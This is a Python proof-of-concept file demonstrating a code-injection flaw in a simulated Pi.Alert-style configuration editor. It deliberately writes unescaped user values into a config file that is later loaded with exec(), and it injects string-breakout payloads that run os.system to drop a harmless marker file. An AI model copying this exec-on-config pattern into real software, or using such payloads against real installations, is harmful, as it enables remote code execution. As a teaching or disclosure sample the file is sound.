Vulnerable code sample

import os
import sys

# Represents the pialert.conf file on disk
CONFIG_FILE = "pialert.conf"

def save_config_to_file(settings):
    """
    Simulates the web-based editor saving configuration settings.
    This function naively writes user-provided values into a Python-runnable file,
    creating the injection vulnerability.
    """
    try:
        with open(CONFIG_FILE, "w") as f:
            for key, value in settings.items():
                # The vulnerability: The value is written directly into the file.
                # A value like "10" is written as-is, but a value like
                # "'); os.system('touch /tmp/pwned');('" is also written as-is.
                f.write(f"{key} = '{value}'\n")
        print(f"[*] Config saved to {CONFIG_FILE}")
    except Exception as e:
        print(f"[!] Error saving config: {e}")

def run_background_scan():
    """
    Simulates the background daemon that reads the configuration file.
    It uses exec() to load the settings, which executes any injected code.
    """
    print("[*] Background daemon started. Loading configuration...")
    config_globals = {}
    try:
        with open(CONFIG_FILE, "r") as f:
            config_content = f.read()
            # The core vulnerability: executing the untrusted config file content.
            exec(config_content, config_globals)
        
        scan_interval = config_globals.get('SCAN_INTERVAL', 60)
        print(f"[*] Daemon loaded config. Scan interval: {scan_interval}")
        print("[*] Performing scan...")
        # In a real scenario, network scanning logic would be here.
    except Exception as e:
        print(f"[!] Error in background daemon: {e}")

if __name__ == "__main__":
    # 1. Simulate an attacker submitting a malicious configuration value.
    # The payload is injected into the 'DEVICE_NAME' field.
    # It closes the string, executes a command, and then comments out the rest of the line.
    malicious_payload = "MyPi'); os.system('echo RCE_SUCCESSFUL > vulnerable_proof.txt'); print('[!] Malicious code was executed!'); ('"
    
    attacker_settings = {
        'SCAN_INTERVAL': '300',
        'DEVICE_NAME': malicious_payload,
        'THEME': 'dark'
    }

    print("[+] Simulating attacker's web request to save malicious config...")
    save_config_to_file(attacker_settings)
    print("\n[+] Content of the malicious pialert.conf file:")
    with open(CONFIG_FILE, "r") as f:
        print("--------------------")
        print(f.read().strip())
        print("--------------------")

    # 2. Simulate the background daemon starting up and loading the malicious config.
    print("\n[+] Simulating the background daemon process starting...")
    run_background_scan()

    # 3. Verify that the remote code execution was successful.
    if os.path.exists("vulnerable_proof.txt"):
        print("\n[SUCCESS] The vulnerability was successfully exploited. 'vulnerable_proof.txt' created.")
        os.remove("vulnerable_proof.txt") # Clean up
    else:
        print("\n[FAILURE] The exploit did not work as expected.")

    # Clean up the config file
    if os.path.exists(CONFIG_FILE):
        os.remove(CONFIG_FILE)